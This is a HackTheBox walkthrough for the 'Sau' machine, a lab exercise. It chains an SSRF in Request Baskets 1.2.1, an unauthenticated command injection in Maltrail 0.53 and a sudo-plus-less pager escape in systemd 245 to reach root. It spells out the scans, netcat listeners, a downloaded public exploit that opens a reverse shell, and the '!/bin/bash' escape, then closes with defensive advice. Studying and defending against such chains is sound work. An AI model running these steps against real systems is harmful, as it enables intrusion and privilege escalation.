HackTheBox Sau Walkthrough: Chaining SSRF, Command Injection, and Sudo Misconfiguration to Root
Introduction
Sau is an Easy-rated Linux machine on HackTheBox that provides an excellent demonstration of how multiple vulnerabilities, each seemingly limited in scope, can be chained together to achieve full system compromise. The attack path involves exploiting a Server-Side Request Forgery (SSRF) vulnerability in Request Baskets (CVE-2023–27163) to reach a firewalled internal service, leveraging an unauthenticated OS command injection in Maltrail v0.53 to gain an initial foothold, and finally escalating privileges through a sudo misconfiguration combined with a Less pager escape (CVE-2023–26604).
Machine Overview
- Name: Sau
- Difficulty: Easy
- OS: Linux
- Key Vulnerabilities: CVE-2023–27163 (SSRF), Maltrail v0.53 RCE, CVE-2023–26604 (sudo privilege escalation)
Attack Chain Summary
Port Scan → Request Baskets v1.2.1 on port 55555
→ SSRF to access firewalled port 80 → Maltrail v0.53
→ Unauthenticated Command Injection → Reverse Shell as puma
→ sudo + Less Pager Escape → rootPhase 1: Enumeration
Port Scanning
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.224 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.224Results:
PortStateService22/tcpopenOpenSSH80/tcpfilteredHTTP8338/tcpfilteredunknown55555/tcpopenHTTP
Two ports are filtered, meaning firewall rules are dropping inbound packets to those ports. However, the services behind them are still running and accessible from within the machine. Port 55555 is our entry point.
Web Enumeration
Browsing to http://10.10.11.224:55555 reveals a Request Baskets instance. The footer shows Version: 1.2.1.
Request Baskets is a web service that collects and inspects HTTP requests. It allows users to create temporary URL endpoints (baskets) and optionally forward incoming requests to a configurable URL. This forwarding feature is where the vulnerability lies.
Searching for known vulnerabilities reveals CVE-2023–27163: an SSRF vulnerability in the /api/baskets/{name} component.
Phase 2: Exploiting SSRF (CVE-2023–27163)
Vulnerability Analysis
The root cause of CVE-2023–27163 is that Request Baskets v1.2.1 performs no validation on the Forward URL parameter. Users can set it to internal addresses such as http://127.0.0.1, http://localhost, or private IP ranges. The server then makes requests to these addresses on behalf of the user.
When the server accesses http://127.0.0.1:80, the traffic travels through the loopback interface, bypassing the firewall rules that filter external traffic to port 80. This is the fundamental mechanism that makes SSRF dangerous in environments with firewalled internal services.
Verification
To confirm the vulnerability, I set up a Netcat listener on my machine:
nc -lnvp 80Then I created a basket with the Forward URL set to my IP address and triggered a request:
curl http://10.10.11.224:55555/2ck6d27The Netcat listener received a connection from 10.10.11.224, confirming that the server is indeed making requests to the specified Forward URL. SSRF confirmed.
Accessing the Internal Service
I reconfigured the basket:
- Forward URL:
http://127.0.0.1:80 - Proxy Response: enabled — passes the internal service's response back to the client
- Expand Forward Path: enabled — appends path segments from the basket URL to the Forward URL (e.g.,
/basket-id/loginforwards tohttp://127.0.0.1:80/login)
Browsing to http://10.10.11.224:55555/2ck6d27 now displays the content served by port 80: a Maltrail v0.53 instance.
Maltrail is a malicious traffic detection system. Searching for Maltrail v0.53 exploit reveals an unauthenticated OS command injection vulnerability in the login endpoint.
Phase 3: Command Injection and Reverse Shell
Vulnerability Analysis
The vulnerability exists in Maltrail's /login endpoint. When processing POST requests, the username parameter is directly interpolated into a shell command via Python's subprocess.check_output() with shell=True:
subprocess.check_output(
"echo '{}' >> /tmp/maltrail.log".format(username),
shell=True
)This code executes before any authentication check, making it exploitable without valid credentials. An attacker can break out of the single quotes, inject arbitrary commands using a semicolon as a delimiter, and comment out trailing syntax with #.
Exploitation
I started a Netcat listener to catch the reverse shell:
nc -lnvp 4444Then ran the public exploit (EDB-ID: 51676):
curl -s https://www.exploit-db.com/download/51676 > exploit.py
python3 exploit.py 10.10.14.6 4444 http://10.10.11.224:55555/2ck6d27The exploit constructs a Python reverse shell payload, Base64-encodes it to avoid special character issues across multiple parsing layers (HTTP, shell, Python), and sends it via curl as the username parameter in a POST request to the basket's /login path.
The request flows through: curl → Request Baskets (SSRF forward) → Maltrail /login → shell command execution → reverse shell to attacker.
I received a shell as user puma. After upgrading to a fully interactive TTY:
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
# Enter x2User flag obtained from /home/puma/user.txt.
Phase 4: Privilege Escalation (CVE-2023–26604)
Discovering the Vector
sudo -lOutput:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.serviceThe user puma can run systemctl status trail.service as root without a password.
systemctl --versionOutput: systemd 245 — below version 247.
Vulnerability Analysis
This privilege escalation exploits the intersection of three facts:
- sudo grants root execution: The
systemctlprocess runs with root privileges. - systemctl invokes the Less pager: When the output of
systemctl statusexceeds the terminal height, systemctl automatically pipes the output through Less for paginated viewing. As a child process of systemctl, Less inherits root privileges. - Less allows command execution: Typing
!commandin Less suspends the pager and executes the specified command. Since Less runs as root, the spawned command also runs as root.
CVE-2023–26604 documents that systemd versions below 247 do not set the LESSSECURE=1 environment variable before invoking the pager. When LESSSECURE=1 is set, Less disables dangerous features including the ! command. Version 245 lacks this protection.
The privilege inheritance chain: sudo → systemctl (root) → less (root) → /bin/bash (root)
Exploitation
sudo /usr/bin/systemctl status trail.serviceThe output triggers the Less pager. In the Less interface, I typed:
!/bin/bashRoot shell obtained.
id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txtKey Takeaways
1. Vulnerability Chaining
This machine demonstrates that real-world compromise often requires chaining multiple vulnerabilities. The SSRF alone doesn't give code execution. The command injection alone is unreachable from the outside. The sudo misconfiguration alone requires a local shell. Only when combined do they form a complete attack path from external attacker to root.
2. Version Numbers Matter
Both the initial foothold (Request Baskets 1.2.1) and the privilege escalation (systemd 245) were identified by checking version numbers and searching for known CVEs. In penetration testing, always check footers, HTTP headers, and command outputs for version information.
3. SSRF as a Gateway
SSRF is often underestimated because it doesn't directly provide code execution. However, as demonstrated here, it can serve as a gateway to reach otherwise inaccessible internal services that may have their own exploitable vulnerabilities. Any feature that allows users to specify URLs and triggers server-side requests is a potential SSRF attack surface.
4. GTFOBins Awareness
When sudo -l reveals any allowed command, always check GTFOBins for known escape techniques. Many common Linux utilities — less, vim, man, find, awk, python, and others — can be leveraged for privilege escalation when run with elevated permissions.
5. Defense Recommendations
- For SSRF: Validate and restrict Forward URL targets. Implement allowlists. Block requests to loopback addresses, private IP ranges, and cloud metadata endpoints.
- For Command Injection: Never pass user input to shell commands. Use parameterized execution (e.g.,
subprocess.run()withshell=Falseand argument lists). - For sudo misconfigurations: Apply the principle of least privilege. Avoid granting sudo access to commands that invoke pagers or editors. Upgrade systemd to version 247+ or set
LESSSECURE=1globally.